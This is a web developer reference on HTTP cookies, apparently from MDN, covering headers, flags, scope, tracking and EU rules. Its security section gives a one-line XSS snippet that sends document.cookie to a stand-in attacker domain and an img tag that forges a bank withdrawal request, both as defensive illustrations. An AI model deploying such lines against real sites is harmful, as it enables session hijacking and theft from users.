An HTTP cookie (web cookie, browser cookie) is a small piece of data that a server sends to the user's web browser, that may store it and send it back together with the next request to the same server. Typically, it's used to know if two requests came from the same browser allowing to keep a user logged-in, for example. It remembers stateful information for the stateless HTTP protocol.
Cookies are mainly used for these three purposes:
- Session management (user logins, shopping carts)
- Personalization (user preferences)
- Tracking (analyzing user behavior)
Cookies have also been used for general client-side storage. While this use could have been considered legitimate at a time when there was no other way to store data on the client side, it is no longer the case nowadays where web browsers are capable of using various storage APIs. Since cookies are sent along with every request, it can be an additional performance burden (especially for mobile web). New APIs to consider for local storage are the Web storage API (localStorage and sessionStorage) and IndexedDB.
To see stored cookies (and other various types of storage that a web page can use), you can enable the Storage Inspector in the Developer Tools and select the Cookies storage type from the storage tree.
Creating cookies
When receiving an HTTP request, a server can send a Set-Cookie header with the response. The cookie is usually stored by the browser and, afterwards, the cookie value is sent along with every request made to the same server as the content of a Cookie HTTP header. Additionally, an expiration delay can be specified as well as restrictions to a specific domain and path, limiting how long and to which site the cookie is sent to.
The Set-Cookie and Cookie headers
The Set-Cookie HTTP response header is used to send cookies from the server to the user agent. A simple cookie can be set like this:
Set-Cookie: <cookie-name>=<cookie-value>
The server tells the client to store a cookie (for example, applications like PHP, Node.js, Python, or Ruby on Rails do it). The response sent to the browser will contain the Set-Cookie header and the browser will store the cookie.
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry [page content]
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry
Session cookies
The simple cookie created above is a session cookie: It will get removed when the client is shut down, they last only for the duration of the session. They don't specify any Expires or Max-Age directives. Note, however, that web browsers often have session restoring enabled, which will make most session cookies actually permanent as if the browser was never closed.
Permanent cookies
Instead of expiring when the client is closed, permanent cookies expire at a specific date (Expires) or after a specific length of time (Max-Age).
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Secure and HttpOnly cookies
A secure cookie will only be sent to the server when a request is made using SSL and the HTTPS protocol. However, note that confidential or sensitive information should never be stored or transmitted in HTTP Cookies as the entire mechanism is inherently insecure and this flag won't offer you any additional encryption or security.
To prevent cross-site scripting (XSS) attacks, HTTP-only cookies aren't accessible via JavaScript through the Document.cookie property, the XMLHttpRequest and Request APIs. Set this flag when you don't need your cookies available in JavaScript. In particular, if you use cookies only to define a session, you don't need it in JavaScript and the HttpOnly flag should be set.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Scope of cookies
The Domain and Path directives define the scope of the cookie, that is the set of URLs the cookies should be sent back to.
Domain specifies those hosts to which the cookie will be sent. If not specified, defaults to the host portion of the current document location (but not including subdomains). If a domain is specified, subdomains are always included.
If Domain=mozilla.org is set, cookies are included on subdomains like developer.mozilla.org.
Path indicates a URL path that must exist in the requested resource before sending the Cookie header. The %x2F ("/") character is interpreted as a directory separator and sub directories will be matched as well.
If Path=/docs is set, these paths will all be matched:
- "/docs",
- "/docs/Web/",
- "/docs/Web/HTTP"
SameSite cookies
SameSite cookies allow servers to assert that a cookie ought not to be sent along with cross-site requests, which provides some protection against cross-site request forgery attacks (CSRF). SameSite cookies are still experimental and not yet supported by all browsers.
JavaScript access using Document.cookies
New cookies can also be created using the Document.cookie property, and if the HttpOnly flag is not set, existing cookies can be accessed from JavaScript as well.
document.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // logs "yummy_cookie=choco; tasty_cookie=strawberry"
Please note the security implications as noted in the Security section below. Cookies that are available to JavaScript might get stolen through XSS.
Security
Confidential or sensitive information should never be stored or transmitted in HTTP Cookies as the entire mechanism is inherently insecure.
Session hijacking and XSS
Cookies are often used in web application to identify a user and their authenticated session. So stealing a cookie from a web application can lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application.
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
The HttpOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through JavaScript.
Cross-site request forgery (CSRF)
Wikipedia mentions a good example for CSRF. In this situation, someone includes an image that isn’t really an image (for example in an unfiltered chat or forum), instead it really is a request to your bank’s server to withdraw money:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
Now, if you are logged into your bank account and your cookies are still valid (and there is no other validation), you will transfer money as soon as you load the HTML that contains this image. There are a few techniques that are used to prevent this from happening:
- As with XSS, input filtering is import.
- There should always be a confirmation required for any sensitive action.
- Cookies that are used for sensitive actions should have a short lifetime only.
- For more prevention tips, see the OWASP CSRF prevention cheat sheet.
Tracking and privacy
Third-party cookies
Cookies have a domain associated to them. If this domain is the same as the domain of the page you are on, the cookies is said to be a first-party cookie. If the domain is different, it is said to be a third-party cookie. While first-party cookies are sent only to the server setting them, a web page may contain images or other components stored on servers in other domains (like ad banners). Cookies that are sent through these third-party components are called third-party cookies and are mainly used for advertising and tracking across the web. See for example the types of cookies used by Google. Most browsers allow third-party cookies by default, but there are add-ons available to block them (for example, Privacy Badger by the EFF).
If you are not disclosing third-party cookies, consumer trust might get harmed if cookie use is discovered. A clear disclosure (such as in a privacy policy) tends to eliminate any negative effects of a cookie discovery. Some countries also have legislation about cookies. See for example Wikipedia's cookie statement.
Do-Not-Track
There are no legal or technological requirements for its use, but the DNT header can be used to signal that a web application should disable either its tracking or cross-site user tracking of an individual user. See the DNT header for more information.
EU cookie directive
Requirements for cookies across the EU are defined in Directive 2009/136/EC of the European Parliament and came into effect on 25 May 2011. A directive is not a law by itself, but a requirement for EU member states to put laws in place that meet the requirements of the directive. The actual laws can differ from country to country.
In short the EU directive means that before somebody can store or retrieve any information from a computer, mobile phone or other device, the user must give informed consent to do so. Many websites have added banners since then to inform the user about the use of cookies.
For more, see this Wikipedia section and consult state laws for the latest and most accurate information.
Zombie cookies and Evercookies
A more radical approach to cookies are zombie cookies or "Evercookies" which are recreated after their deletion and are intentionally hard to delete forever. They are using the Web storage API, Flash Local Shared Objects and other techniques to recreate themselves whenever the cookie's absence is detected.